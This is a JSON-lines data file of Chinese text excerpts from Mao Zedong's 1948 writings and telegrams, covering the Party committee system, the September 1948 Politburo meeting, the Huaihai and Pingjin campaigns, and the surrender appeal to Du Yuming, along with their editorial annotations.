    {"text": "关于健全党委制 关于健全党委制 * （一九四八年九月二十日） 党委制是保证集体领导、防止个人包办的党的重要制度。近查有些（当然不是一切）领导机关，个人包办和个人解决重要问题的习气甚为浓厚。重要问题的解决，不是由党委会议做决定，而是由个人做决定，党委委员等于虚设。委员间意见分歧的事亦无由解决，并且听任这些分歧长期地不加解决。党委委员间所保持的只是形式上的一致，而不是实质上的一致。此种情形必须加以改变。今后从中央局至地委，从前委至旅委以及军区（军分会或领导小组）、政府党组、民众团体党组、通讯社和报社党组，都必须建立健全的党委会议制度，一切重要问题（当然不是无关重要的小问题或者已经会议讨论解决只待执行的问题）均须交委员会讨论，由到会委员充分发表意见，做出明确决定，然后分别执行。地委、旅委以下的党委亦应如此。高级领导机关的部（例如宣传部、组织部）、委（例如工委、妇委、青委）、校（例如党校）、室（例如研究室），亦应有领导分子的集体会议。当然必须注意每次会议时间不可太长，会议次数不可太频繁，不可沉溺于细小问题的讨论，以免妨碍工作。在会议之前，对于复杂的和有分歧意见的重要问题，又须有个人商谈，使委员们有思想准备，以免会议决定流于形式或不能做出决定。委员会又须分别为常委会和全体会两种，不可混在一起。此外，还须注意，集体领导和个人负责，二者不可偏废。军队在作战时和情况需要时，首长有临机处置之权。 注 释 * 这是毛泽东为中共中央起草的决定。关于这个文件的意义，邓小平一九五六年九月十六日在中国共产党第八次全国代表大会上所作的《关于修改党的章程的报告》说：“在我们党内，从长时期以来，由党的集体而不由个人决定重大的问题，已经形成一个传统。违背集体领导原则的现象虽然在党内经常发生，但是这种现象一经发现，就受到党中央的批判和纠正。中央在一九四八年九月关于健全党委制的决定，对于加强党的集体领导，尤其起了重大的作用。……这个决定在全党实行了，并且直到现在仍然保持着它的效力。……这个决定的重要意义，在于它总结了党内认真实行集体领导的成功的经验，促使那些把集体领导变为有名无实的组织纠正自己的错误，并且扩大了实行集体领导的范围。”"},
    {"text": "中共中央关于九月会议的通知 中共中央关于九月会议的通知 * （一九四八年十月十日） （一）一九四八年九月，中央召开了一次政治局会议，到政治局委员七人，有中央委员和候补中央委员十四人、重要工作人员十人参加，其中有华北、华东、中原、西北的党和军队的主要负责同志。"},
    {"text": "（二）一九四五年四月党的第七次全国代表大会以后，中央委员会和全党领导骨干，表现了比较抗日时期更为良好的团结。 这种团结，使得我党能够应付日本投降以后整三年内国际国内所发生的许多重大事变，并在这些事变中使中国革命向前推进了一大步，摧毁了美帝国主义在中国广大人民中的政治影响，抵抗了国民党的再一次叛变 〔1〕 ，打退了它的军事进攻，使人民解放军由防御转到了进攻。"},
    {"text": "在一九四六年七月至一九四八年六月的两年作战中，人民解放军歼敌二百六十四万人，其中俘敌一百六十三万人。 两年主要缴获，计有步枪近九十万枝，重轻机枪六万四千余挺，小炮八千余门，步兵炮五千余门，山野重炮一千一百余门。"},
    {"text": "两年中人民解放军由一百二十余万人增加到了二百八十万人。 其中正规军由一百一十八个旅增加到了一百七十六个旅，正规军人数由六十一万增加到了一百四十九万。"},
    {"text": "由于我党坚决领导农民实现了土地制度的改革，现已在大约一万万人口的区域彻底解决了土地问题，地主阶级和旧式富农的土地大致平均地分配给了农村人民，首先是贫雇农。"},
    {"text": "我党党员由一九四五年五月的一百二十一万，增加到了现在的三百万（我党党员一九二七年国民党叛变以前为五万人，一九二七年国民党叛变以后降为大约一万人左右，一九三四年因土地革命顺利发展升至三十万人，一九三七年因南方革命失败 〔2〕 降为大约四万人左右，一九四五年因抗日战争顺利发展增至一百二十一万人，现在因反蒋战争和土地革命顺利发展又增至三百万人）。"},
    {"text": "党在最近一年内，一方面基本上克服了并正在继续克服着党内在某种程度上存在着的成分不纯（地主富农分子）、思想不纯（地主富农思想）和作风不纯（官僚主义和命令主义）的不良现象，另一方面又克服了和正在继续克服着跟着大规模发动农民群众解决土地问题的斗争而产生的，部分地但是相当多地侵犯了中农，破坏了某些私人工商业，以及某些地方越出了镇压反革命的某些政策界限等项“左”的错误。"},
    {"text": "党在国民党区域的工作，有了很大的成绩，这表现在各大城市中争取了广大的工人、学生、教员、教授、文化人、市民和民族资本家站在我党方面，争取了一切民主党派、人民团体站在我党方面，抗拒了国民党的压迫，使国民党完全陷于孤立。"},
    {"text": "在南方几个大区域内（闽粤赣边区，湘粤赣边区，粤桂边区，桂滇边区，云南南部，皖浙赣边区和浙江东部南部）建立了游击战争根据地，使这些地区的游击部队发展到了三万余人。"},
    {"text": "两年内，特别是最近一年内，在人民解放军中，实行了有秩序的、有领导的、由全体战斗员和指挥员一起参加的民主运动，开展了自我批评，克服了和正在继续克服着军队中的官僚主义，恢复了在一九二七年至一九三二年期间曾经实行有效、而在后来被取消了的军队中的各级党委制和连队中的战士委员会制，这样就使军队指战员的政治积极性和自觉性大为提高，战斗力和纪律性大为增强，溶化了大约八十万左右从国民党军队来的俘虏兵，使他们变为解放战士 〔3〕 ，掉转枪口打国民党。"},
    {"text": "我们已在华北四千四百万人口的区域建立了统一的党和党外民主人士合作的人民政府，并决定由这个政府将华北、华东（有人口四千三百万）和西北（有人口七百万）三区的经济、财政、贸易、金融、交通和军事工业的领导和管理工作统一起来，以利支援前线，并且准备在不久的将来，将东北和中原两区的上述工作也统一起来。 （三）中央会议，根据过去两年作战的成绩和整个敌我形势，认为建设五百万人民解放军，在大约五年左右的时间内（从一九四六年七月算起）歼敌正规军共五百个旅（师）左右（平均每年一百个旅左右），歼敌正规军、非正规军和特种部队共七百五十万人左右（平均每年一百五十万人左右），从根本上打倒国民党的反动统治，是有充分可能性的。"},
    {"text": "我军现有二百八十万人，今后三年准备收容俘虏参加我军一百七十万人（以占俘虏全数百分之六十计算），动员农民参军二百万人，除去消耗，五年作战结果，我军可能接近五百万人。"},
    {"text": "我们第一年歼敌正规军折合成九十七个旅（师），第二年歼敌正规军折合成九十四个旅（师），根据这一情形看来，这样的目标是可能达到并且可能超过的。"},
    {"text": "国民党现有全部军事力量三百六十五万人中的百分之七十是在第一线（长江和巴山山脉之线以北，兰州和贺兰山脉之线以东，承德和长春之线以南），在其后方者（包括长江和巴山山脉之线以南，兰州和贺兰山脉之线以西）仅有大约百分之三十。 国民党现有全部正规军二百八十五个旅，一百九十八万人，其中在第一线者二百四十九个旅，一百七十四万二千人（北线九十九个旅，六十九万四千人，南线一百五十个旅，一百零四万八千人），在其后方者，仅有三十六个旅，二十三万八千人，并且大部分是新建立的部队，缺乏战斗力。"},
    {"text": "（四）由于我党我军在过去长时期内是处于被敌人分割的、游击战争的并且是农村的环境之下，我们曾经允许各地方党的和军事的领导机关保持着很大的自治权，这一种情况，曾经使得各地方的党组织和军队发挥了他们的自动性和积极性，渡过了长期的严重的困难局面，但在同时，也产生了某些无纪律状态和无政府状态，地方主义和游击主义，损害了革命事业。 目前的形势，要求我党用最大的努力克服这些无纪律状态和无政府状态，克服地方主义和游击主义，将一切可能和必须集中的权力集中于中央和中央代表机关 〔4〕 手里，使战争由游击战争的形式过渡到正规战争的形式。"},
    {"text": "为此目的，必须尽一切可能修理和掌握铁路、公路、轮船等近代交通工具，加强城市和工业的管理工作，使党的工作的重心逐步地由乡村转到城市。"},
    {"text": "战争的第三年内，必须准备好三万至四万下级、中级和高级干部，以便第四年内军队前进的时候，这些干部能够随军前进，能够有秩序地管理大约五千万至一万万人口的新开辟的解放区。"},
    {"text": "现在，我们正在组织国民党区域的这些党派和团体的代表人物来解放区，准备在一九四九年召集中国一切民主党派、人民团体和无党派民主人士的代表们开会，成立中华人民共和国临时中央政府。"},
    {"text": "中央会议认为，必须一方面使人民解放军向国民党区域发展胜利的进攻，将战争所需要的人力资源和物力资源大量地从国民党方面和国民党区域去取给；"},
    {"text": "而恢复和发展工业生产和农业生产则需要有较好的组织工作，很好地领导解放区内部的市场和管制对外贸易，解决某些机器和原料缺乏的问题，首先是解决交通运输和修理铁路、公路、河道的问题。"},
    {"text": "这主要是物资和兵员不足供应战争的需要，通货膨胀已到了相当大的程度，而我们的组织工作特别是财经方面的组织工作不够，则是形成这种困难的原因之一。"},
    {"text": "在克服困难的斗争中，必须反对浪费，厉行节约：在前线注意缴获归公，爱护自己的有生力量，爱护武器，节省弹药，保护俘虏； 在后方，减少国家机构的开支，减少不急需的人力和畜力的动员，减少开会时间，注意农业的季节，不违农时，节省工业生产的成本，提高劳动生产率，全党动员学习管理工业生产、农业生产和做生意，尽可能地将各解放区的经济加以适当的组织，克服市场上的盲目性，并同一切投机操纵的分子进行必要的斗争。"},
    {"text": "它是日本投降以来到会人数最多的一次中央会议，因为在这以前，绝大多数中央委员都分散在各个解放区从事紧张的解放战争，交通十分困难，不可能举行这样大的会议。"},
    {"text": "〔2〕 南方革命失败，指以陈绍禹为代表的“左”倾冒险主义错误造成的一九三四年红军第五次反“围剿”战争的失败，和红军主力退出南方各革命根据地。"},
    {"text": "〔5〕 召开政治协商会议的口号是毛泽东提出的。 在一九四八年四月三十日中共中央发布的《纪念“五一”劳动节口号》中，根据毛泽东的提议，提出：“各民主党派、各人民团体、各社会贤达迅速召开政治协商会议，讨论并实现召集人民代表大会，成立民主联合政府。"},
    {"text": "〔6〕 指《中共中央关于召开党的各级代表大会和代表会议的决议》。 这个决议，对于建立和扩大党内的正常民主生活问题作了以下的规定：各级党委要按照党章定期召开党的各级代表大会和代表会议。"},
    {"text": "此外，还规定要健全党委制，各级党委必须实行重要问题经党委集体讨论和作出决定的制度，不应当由个人决定重要问题，但是集体领导和个人负责不可偏废。"},
    {"text": "在这次大会上，成立了全国妇女群众组织的领导机构中华全国民主妇女联合会。 一九五七年九月中国妇女第三次全国代表大会决定，中华全国民主妇女联合会改称中华全国妇女联合会。"},
    {"text": "在这次大会上，成立了中华全国民主青年联合总会。 一九五八年四月中华全国青年第三次代表大会决定，中华全国民主青年联合总会改称中华全国青年联合会。 〔10〕 中国新民主主义青年团，是一九四九年一月由中共中央正式决定建立的。"},
    {"text": "关于淮海战役的的作战方针 关于淮海战役的的作战方针 * （一九四八年十月十一日） 关于淮海战役 〔1〕 部署，现在提出几点意见，供你们考虑。"},
    {"text": "（一）本战役第一阶段的重心，是集中兵力歼灭黄百韬兵团，完成中间突破，占领新安镇、运河车站、曹八集、峄县、枣庄、临城、韩庄、沭阳、邳县、郯城、台儿庄、临沂等地。"},
    {"text": "以一个至二个纵队，歼灭临城、韩庄地区李弥部一个旅，并力求占领临韩，从北面威胁徐州，使邱清泉、李弥两兵团不敢以全力东援。 以一个纵队，加地方兵团，位于鲁西南，侧击徐州、商丘段，以牵制邱兵团一部（孙元良三个师现将东进，望刘伯承、陈毅、邓小平即速部署攻击郑徐线牵制孙兵团）。 以一个至二个纵队，活动于宿迁、睢宁、灵壁地区，以牵制李兵团。 以上部署，即是说要用一半以上兵力，牵制、阻击和歼敌一部，以对付邱李两兵团，才能达到歼灭黄兵团三个师的目的。 这一部署，大体如同九月间攻济打援 〔2〕 的部署，否则不能达到歼灭黄兵团三个师的目的。"},
    {"text": "该地区连原有一个师将共有三个师，故我须用五个纵队担任攻击，而以其余兵力（主力）担任钳制邱李两兵团，仍然是九月间攻济打援部署的那个原则。"},
    {"text": "此后，全国局势发生了对中国人民解放军有利的急剧变化，中原野战军奉命东进徐州、蚌埠地区，由华东野战军、中原野战军和华东、中原的地方部队共同作战。 战役发起后，毛泽东又为中央军委起草致华东野战军并告中原野战军的电报，下达在徐州附近歼灭国民党军刘峙集团主力的战役决心。"},
    {"text": "〔1〕 毛泽东在起草这个电报的时候，对淮海战役确定的作战任务，主要是消灭国民党军刘峙集团主力的一部，开辟苏北战场，使山东、苏北打成一片。 后来，由于局势发生变化，中原野战军东进与华东野战军会合，共同作战，淮海战役遂发展成为以徐州为中心，东起海州，西止商丘，北起临城（今薛城），南达淮河的广大地区同国民党军进行的一次决定性的战役。 集结在上述地区的国民党军队有徐州“剿总”总司令刘峙、副总司令杜聿明指挥下的四个兵团和三个绥靖区部队，连同以后从华中增援的黄维兵团，共五个兵团和三个绥靖区部队。 人民解放军参加这次战役的有华东野战军十六个纵队，中原野战军七个纵队，华东、中原军区和华北军区所属冀鲁豫军区的地方武装，共六十余万人。 在淮海战役过程中，中央军委决定由刘伯承、陈毅、邓小平、粟裕、谭震林组成总前委，邓小平为书记，执行领导淮海前线军事和作战的职权。 战役自一九四八年十一月六日开始到一九四九年一月十日结束，历时六十五天，共歼灭国民党军五十五万五千人，此外还击退了由南京方面来援的刘汝明、李延年两个兵团，基本上解放了长江以北的华东、中原地区。"},
    {"text": "第一阶段，从十一月六日到二十二日，人民解放军于徐州以东新安镇碾庄地区，围歼了黄百韬兵团（黄百韬毙命），解放了碾庄以东陇海路两侧和徐州以西以北广大地区，切断了津浦路徐（州）蚌（埠）段间国民党军的联系。"},
    {"text": "同时，华东野战军将由徐州西逃的杜聿明指挥下的邱清泉、李弥、孙元良三个兵团包围于永城东北的青龙集、陈官庄地区，随后歼灭了力图突围的孙元良兵团，孙元良只身潜逃。"},
    {"text": "从一九四九年一月六日起，对青龙集、陈官庄地区被围的国民党军发起总攻，全歼邱清泉、李弥两个兵团，生俘杜聿明，击毙邱清泉，只有李弥逃脱。"},
    {"text": "〔2〕 攻济打援，是指一九四八年九月人民解放军在济南战役中所采取的作战方法。 济南是津浦、胶济两铁路的交会点和连结华东、华北地区的战略要地，国民党以第二绥靖区的十万余人守备济南。"},
    {"text": "一九六〇年出版本卷第一版时，删去了第四点，其原文为：“淮海战役的结果，将是开辟了苏北战场，山东苏北打成一片，邱李两兵团固守徐蚌一线及其周围，使我难于歼击。"},
    {"text": "以其余主力为西兵团，出豫皖两省，协同刘邓，攻取菏泽、开封、郑州、确山、信阳、南阳、淮河流域及大别山各城。 西兵团与刘邓协力作战的方法，亦是一部兵力打城，以主要兵力打援阻援，这样去各个歼敌。"},
    {"text": "全世界革命力量团结起来，反对帝国主义的侵略 全世界革命力量团结起来， 反对帝国主义的侵略 * （一九四八年十一月） 现在，当着全世界觉悟的工人阶级和一切真诚革命的人们对于苏联伟大的十月社会主义革命第三十一个周年举行欢欣鼓舞的纪念的时候，我想起了斯大林在一九一八年，在十月革命第一个周年纪念的时候所写的著名的论文。 斯大林在这篇论文中说：“十月革命的伟大的世界意义，主要的是：第一，它扩大了民族问题的范围，把它从欧洲反对民族压迫的斗争的局部问题，变为各被压迫民族、各殖民地及半殖民地从帝国主义之下解放出来的总问题；"},
    {"text": "第二，它给这一解放开辟了广大的可能性和现实的道路，这就大大地促进了西方和东方的被压迫民族的解放事业，把他们吸引到胜利的反帝国主义斗争的巨流中去；"},
    {"text": "第三，它从而在社会主义的西方和被奴役的东方之间架起了一道桥梁，建立了一条从西方无产者经过俄国革命到东方被压迫民族的新的反对世界帝国主义的革命战线。"},
    {"text": "十月革命给世界人民解放事业开辟了广大的可能性和现实的道路，十月革命建立了一条从西方无产者经过俄国革命到东方被压迫民族的新的反对世界帝国主义的革命战线。"},
    {"text": "没有一个革命的党，没有一个按照马克思列宁主义的革命理论和革命风格建立起来的革命党，就不可能领导工人阶级和广大人民群众战胜帝国主义及其走狗。 自从马克思主义产生以来的一百多年的时间内，只是在有了俄国布尔什维克领导十月革命、领导社会主义建设和战胜法西斯侵略的榜样的时候，才在世界范围内建立了和发展了新式的革命党。"},
    {"text": "假如没有十月革命，假如没有苏联共产党，没有苏联，没有苏联领导的西方和东方的反对帝国主义的革命统一战线，还能设想战胜法西斯德意日及其走狗们吗？"},
    {"text": "如果说，十月革命给全世界工人阶级和被压迫民族的解放事业开辟了广大的可能性和现实的道路，那末，反法西斯的第二次世界大战的胜利，就是给全世界工人阶级和被压迫民族的解放事业开辟了更加广大的可能性和更加现实的道路。"},
    {"text": "第二次世界大战胜利以后，代替法西斯德意日的地位而疯狂地准备着新的世界战争、威胁全世界的美国帝国主义及其在各国的走狗们，反映了资本主义世界的极端腐败及其濒于灭亡的恐怖情绪。"},
    {"text": "这个敌人还是有力量的，因此，每一个国家内部的一切革命力量必须团结起来，一切国家的革命力量必须团结起来，必须组成以苏联为首的反对帝国主义的统一战线，并遵循正确的政策，否则就不能胜利。"},
    {"text": "在中国共产党领导之下的以反对美国帝国主义对于中国的疯狂侵略，反对卖国、独裁和以内战屠杀中国人民的国民党反动政府为目标的伟大的中国人民民主革命，现在已经取得了巨大的胜利。"},
    {"text": "中国共产党领导的人民解放军，在一九四六年七月至一九四八年六月的两年时间内，已经打退了国民党反动政府的四百三十万军队的进攻，并使自己由防御转到了进攻。 在两年作战中（一九四八年七月以后的发展，尚未计算在内），人民解放军俘虏和消灭了国民党军队二百六十四万人。"},
    {"text": "由于我党坚决地领导农民实现了土地制度的改革，现已在大约一亿人口的区域彻底地解决了土地问题，地主阶级和旧式富农的土地大致平均地分配给了农民，首先是贫农和雇农。"},
    {"text": "中国共产党的任务，是在全国范围内团结一切革命力量，驱逐美国帝国主义的侵略势力，打倒国民党的反动统治，建立统一的民主的人民共和国。"},
    {"text": "中国军事形势的重大变化 中国军事形势的重大变化 * （一九四八年十一月十四日） 中国的军事形势现已进入一个新的转折点，即战争双方力量对比已经发生了根本的变化。人民解放军不但在质量上早已占有优势，而且在数量上现在也已经占有优势。这是中国革命的成功和中国和平的实现已经迫近的标志。 国民党军队在战争的第二年底，即今年六月底，总数约计尚有三百六十五万人。这个数目，对于一九四六年七月国民党开始发动全国性内战时期的四百三十万人来说，是少了六十五万人。这是由于国民党军队在两年战争中虽然被歼、被俘和逃亡了大约三百零九万人（其中被歼、被俘为二百六十四万人），但在此期内又补充了约二百四十四万人，故亏短数尚只有六十五万人。最近则起了一个突变。经过战争第三年度的头四个月，即今年七月一日至十一月二日沈阳解放时，国民党军队即丧失了一百万人。四个月内国民党军队的补充情形尚未查明，假定它能补充三十万人，亏短数为七十万人。这样国民党的全部军队包括陆海空军、正规军非正规军、作战部队和后勤机关在内，现在只有二百九十万左右的人数。人民解放军，则由一九四六年六月的一百二十万人，增至一九四八年六月的二百八十万人，现在又增至三百余万人。这种情况，就使国民党军队在数量上长期占有的优势，急速地转入了劣势。这是由于四个月内人民解放军在全国各个战场英勇作战的结果，而特别是南线的睢杞战役 〔1〕 、济南战役 〔2〕 ，北线的锦州、长春、辽西、沈阳诸战役 〔3〕 的结果。国民党的正规军，因为它拚命地将非正规军编入正规军内，至今年六月底，尚有二百八十五个师的番号。四个月内，即被人民解放军歼灭了营以上部队合计共八十三个师，其中包括六十三个整师。 这样，就使我们原来预计的战争进程，大为缩短。原来预计，从一九四六年七月起，大约需要五年左右时间，便可能从根本上打倒国民党反动政府。现在看来，只需从现时起，再有一年左右的时间，就可能将国民党反动政府从根本上打倒了。至于在全国一切地方消灭反动势力，完成人民解放，则尚需较多的时间。 敌人是正在迅速崩溃中，但尚需共产党人、人民解放军和全国各界人民团结一致，加紧努力，才能最后地完全地消灭反动势力，在全国范围内建立统一的民主的人民共和国。 注 释 * 这是毛泽东为新华社写的一篇评论。在这篇评论里，毛泽东根据辽沈战役以后敌我力量变化的新形势，对于人民解放战争胜利的时间重新作了估计，指出从一九四八年十一月起，再有一年左右的时间，就可以打倒国民党的反动统治。后来的中国军事形势的发展，完全证明了毛泽东的这个预见。 〔1〕 睢杞战役，亦称豫东战役，是人民解放军在河南省东部的开封和睢县、杞县地区对国民党军进行的一次大规模战役。华东野战军八个纵队、中原野战军两个纵队以及冀鲁豫和豫皖苏军区部分兵力，在华东野战军代司令员兼代政治委员粟裕统一指挥下，于一九四八年六月十七日至二十二日，全歼开封守敌，共歼灭国民党军约四万人，击毙国民党军整编第六十六师师长李仲辛。蒋介石为了挽回其不利的战局，亲临开封上空督战，调集邱清泉、区寿年、黄百韬三个兵团，分路进攻开封。人民解放军于六月二十七日至七月六日，将区寿年兵团部及整编第七十五师以及黄百韬兵团的三个多团，先后包围于睢县、杞县地区，经九昼夜激战，歼敌五万余人，生俘兵团司令官区寿年和整编第七十五师师长沈澄年。 〔2〕 济南战役，见本卷《关于淮海战役的作战方针》注〔2〕。 〔3〕 这里所说的锦州、长春、辽西、沈阳诸战役，统称辽沈战役。见本卷《关于辽沈战役的作战方针》注〔1〕。"},
    {"text": "关于平津战役<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a>的作战方针 关于平津战役 〔1〕 的作战方针 * （一九四八年十二月十一日） 一、张家口、新保安、怀来和整个北平、天津、塘沽、唐山诸敌，除某几个部队例如三十五军、六十二军、九十四军中的若干个别的师，在依靠工事保守时尚有较强的战斗力外，攻击精神都是很差的，都已成惊弓之鸟，尤其你们入关后是如此。"},
    {"text": "五、据我们估计，大约十二月十五日左右你们的十纵、九纵、六纵、八纵、炮纵、七纵就可集中于玉田为中心的地区。 我们提议，十二月二十日至十二月二十五日数日内即取神速动作，以三纵（由北平东郊东调）、六纵、七纵、八纵、九纵、十纵等六个纵队包围天津、塘沽、芦台、唐山诸点之敌，如果诸点之敌那时大体仍如现时状态的话。 其办法是以两个纵队位于以武清为中心的地区，即廊房、河西务、杨村诸点，以五个纵队插入天津、塘沽、芦台、唐山、古冶诸点之间，隔断诸敌之联系。 各纵均须构筑两面阻击阵地，务使敌人不能跑掉，然后休整部队，恢复疲劳，然后攻歼几部分较小之敌。"},
    {"text": "以上部署，实际上是将张家口、新保安、南口、北平、怀柔、顺义、通县、宛平（涿县、良乡已被我占领）、丰台、天津、塘沽、芦台、唐山、开平诸点之敌一概包围了。"},
    {"text": "七、从本日起的两星期内（十二月十一日至十二月二十五日）基本原则是围而不打（例如对张家口、新保安），有些则是隔而不围（即只作战略包围，隔断诸敌联系，而不作战役包围，例如对平、津、通州），以待部署完成之后各个歼敌。"},
    {"text": "八、为着不使蒋介石迅速决策海运平津诸敌南下，我们准备令刘伯承、邓小平、陈毅、粟裕于歼灭黄维兵团之后，留下杜聿明指挥之邱清泉、李弥、孙元良诸兵团（已歼约一半左右）之余部，两星期内不作最后歼灭之部署。"},
    {"text": "十四、为着在十二月二十五日以前完成上列部署，你们应该鼓励部队在此两星期内不惜疲劳，不怕减员，不怕受冻受饥，在完成上列部署以后，再行休整，然后从容攻击。"},
    {"text": "平津战役是中国人民解放战争中三个有决定意义的最大战役的最后一个。 这个战役歼灭和改编了五十二万多国民党军，解放了北平、天津、张家口等重要城市，基本上结束了解放华北的战争。"},
    {"text": "〔1〕 平津战役，是一九四八年十一月二十九日至一九四九年一月三十一日由中国人民解放军东北野战军和华北军区第二、第三兵团及地方部队，在西起张家口，东至塘沽、唐山，包括北平、天津在内的地区同国民党军进行的一次具有决定意义的战役。"},
    {"text": "东北野战军在胜利地完成了解放东北全境的任务后，根据中央军委和毛泽东的指示，迅即挥师入关，和华北的人民解放军连同东北、华北参战的地方部队，总兵力约一百万人，合力围歼国民党华北“剿总”总司令傅作义指挥下的五十多万国民党军队。 一九四八年十一月二十五日，华北军区第三兵团根据中央军委指示，自集宁地区东进，二十九日向张家口外围守敌发起进攻，形成对张家口包围之势，切断敌人西逃的道路。"},
    {"text": "毛泽东十二月十一日为中央军委起草的这个电报下达后，十二月中旬，人民解放军将敌分割包围于北平、天津、张家口、新保安、塘沽五个据点，截断了敌军南逃西撤的通路。"},
    {"text": "〔4〕 东北野战军一九四八年九月在北宁线作战时，为不使义县、锦州、锦西、兴城、绥中、榆关（山海关）、滦县、昌黎之敌收缩集中，采用了先以一部分兵力分别包围和切断上述各点之敌，然后逐一歼灭的办法。"},
    {"text": "敦促杜聿明等投降书 敦促杜聿明等投降书 * （一九四八年十二月十七日） 杜聿明将军、邱清泉将军、李弥将军和邱李两兵团诸位军长师长团长： 你们现在已经到了山穷水尽的地步。黄维兵团已在十五日晚全军覆没，李延年兵团已掉头南逃，你们想和他们靠拢是没有希望了。你们想突围吗？四面八方都是解放军，怎么突得出去呢？你们这几天试着突围，有什么结果呢？你们的飞机坦克也没有用。我们的飞机坦克比你们多，这就是大炮和炸药，人们叫这些做土飞机、土坦克，难道不是比较你们的洋飞机、洋坦克要厉害十倍吗？你们的孙元良兵团已经完了，剩下你们两个兵团，也已伤俘过半。你们虽然把徐州带来的许多机关闲杂人员和青年学生，强迫编入部队，这些人怎么能打仗呢？十几天来，在我们的层层包围和重重打击之下，你们的阵地大大地缩小了。你们只有那么一点地方，横直不过十几华里，这样多人挤在一起，我们一颗炮弹，就能打死你们一堆人。你们的伤兵和随军家属，跟着你们叫苦连天。你们的兵士和很多干部，大家很不想打了。你们当副总司令的，当兵团司令的，当军长师长团长的，应当体惜你们的部下和家属的心情，爱惜他们的生命，早一点替他们找一条生路，别再叫他们作无谓的牺牲了。 现在黄维兵团已被全部歼灭，李延年兵团向蚌埠逃跑，我们可以集中几倍于你们的兵力来打你们。我们这次作战才四十天，你们方面已经丧失了黄百韬十个师，黄维十一个师，孙元良四个师，冯治安四个师，孙良诚两个师，刘汝明一个师，宿县一个师，灵璧一个师，你们总共丧失了三十四个整师。其中除何基沣、张克侠率三个半师起义，廖运周率一个师起义，孙良诚率一个师投诚，赵壁光、黄子华各率半个师投诚 〔1〕 以外，其余二十七个半师，都被本军全部歼灭了。黄百韬兵团、黄维兵团和孙元良兵团的下场，你们已经亲眼看到了。你们应当学习长春郑洞国将军的榜样 〔2〕 ，学习这次孙良诚军长、赵壁光师长、黄子华师长的榜样，立即下令全军放下武器，停止抵抗，本军可以保证你们高级将领和全体官兵的生命安全。只有这样，才是你们的唯一生路。你们想一想吧！如果你们觉得这样好，就这样办。如果你们还想打一下，那就再打一下，总归你们是要被解决的 〔3〕 。 中原人民解放军司令部 华东人民解放军司令部 注 释 * 这是毛泽东为中原、华东两人民解放军司令部写的一个广播稿。 〔1〕 何基沣、张克侠，都是国民党第三绥靖区副司令官，在淮海战役第一阶段中，于一九四八年十一月八日率一个军部和三个师、一个团共二万余人，在徐州东北贾汪、台儿庄地区起义。廖运周，是国民党第八十五军第一一〇师师长，在淮海战役第二阶段中，于一九四八年十一月二十七日率该师师部和两个整团共五千五百人，在安徽省宿县西南罗集起义。孙良诚，是国民党第一绥靖区副司令官兼第一〇七军军长，在淮海战役第一阶段中，于一九四八年十一月十三日率该军军部和一个师共五千八百人，在江苏睢宁西北投诚。赵壁光，是国民党第四十四军第一五〇师师长，在淮海战役第一阶段中，于一九四八年十一月十八日率残部二千余人在江苏徐州东碾庄地区投诚。黄子华，是国民党第八十五军第二十三师师长，在淮海战役第二阶段中，于一九四八年十二月十日率该师师部和所属残部及第二一六师一部、第八十五军部分直属部队一万余人，在安徽省蒙城东北双堆集投诚。 〔2〕 长春自东北人民解放军一九四七年冬季攻势后，即被东北人民解放军包围。一九四八年十月十九日，在人民解放军攻克锦州、东北国民党军全部动摇的形势下，长春国民党军最高指挥官东北“剿总”副总司令郑洞国，率领所部第一兵团直属机关部队和新七军全体官兵放下武器。 〔3〕 杜聿明（国民党徐州“剿总”副总司令）、邱清泉（国民党第二兵团司令官）、李弥（国民党第十三兵团司令官）三人，在人民解放军发出敦促其投降书以后，仍然负隅顽抗，结果在人民解放军强大攻势下全军覆没，杜聿明被俘，邱清泉被击毙，只有李弥逃走。"},
    {"text": "将革命进行到底 将革命进行到底 * （一九四八年十二月三十日） 中国人民将要在伟大的解放战争中获得最后胜利，这一点，现在甚至我们的敌人也不怀疑了。"},
    {"text": "国民党反动政府在发动反革命战争的时候，他们军队的数量约等于人民解放军的三倍半，他们军队的装备和人力物力的资源，更是远远地超过了人民解放军，他们拥有人民解放军所缺乏的现代工业和现代交通工具，他们获得美国帝国主义在军事上、经济上的大量援助，并且他们是经过了长期的准备的。"},
    {"text": "国民党在一九四六年，在东北占领了沈阳、四平、长春、吉林、安东等城市和辽宁、辽北、安东等省 〔1〕 的大部，在黄河以南占领了淮阴、菏泽等城市和鄂豫皖、苏皖、豫皖苏、鲁西南等解放区的大部，在长城以北占领了承德、集宁、张家口等城市和热河、绥远、察哈尔 〔2〕 的大部，声势汹汹，不可一世。 人民解放军采取了以歼灭国民党有生力量为主而不是以保守地方为主的正确的战略方针，每个月平均歼灭国民党正规军的数目约为八个旅（等于现在的师），终于迫使国民党放弃其全面进攻计划，而于一九四七年上半年将进攻的重点限制在南线的两翼，即山东和陕北。"},
    {"text": "不要忘记，人民解放军是没有飞机和坦克的，但是自从人民解放军形成了超过国民党军的炮兵和工兵以后，国民党的防御体系，连同他的飞机和坦克就显得渺小了。"},
    {"text": "人民解放军不但已经能够攻克国民党坚固设防的城市，而且能够一次包围和歼灭成十万人甚至几十万人的国民党的强大精锐兵团。 人民解放军歼灭国民党兵力的速度大为增加了。"},
    {"text": "试看歼敌营以上正规军的统计（包括起义的敌军在内）：第一年，九十七个旅，内有四十六个整旅； 第二年，九十四个旅，内有五十个整旅； 第三年的头半年，根据不完全的统计，一百四十七个师，内有一百一十一个整师 〔4〕 。"},
    {"text": "正是因为他们看到了中国人民解放战争在全国范围内的胜利，已经不能用单纯的军事斗争的方法加以阻止，他们就一天比一天地重视政治斗争的方法。"},
    {"text": "中国反动派和美国侵略者现在一方面正在利用现存的国民党政府来进行“和平”阴谋，另一方面则正在设计使用某些既同中国反动派和美国侵略者有联系，又同革命阵营有联系的人们，向他们进行挑拨和策动，叫他们好生工作，力求混入革命阵营，构成革命阵营中的所谓反对派，以便保存反动势力，破坏革命势力。"},
    {"text": "美国政府的政策，已经由单纯地支持国民党的反革命战争转变为两种方式的斗争：第一种，组织国民党残余军事力量和所谓地方势力在长江以南和边远省份继续抵抗人民解放军；"},
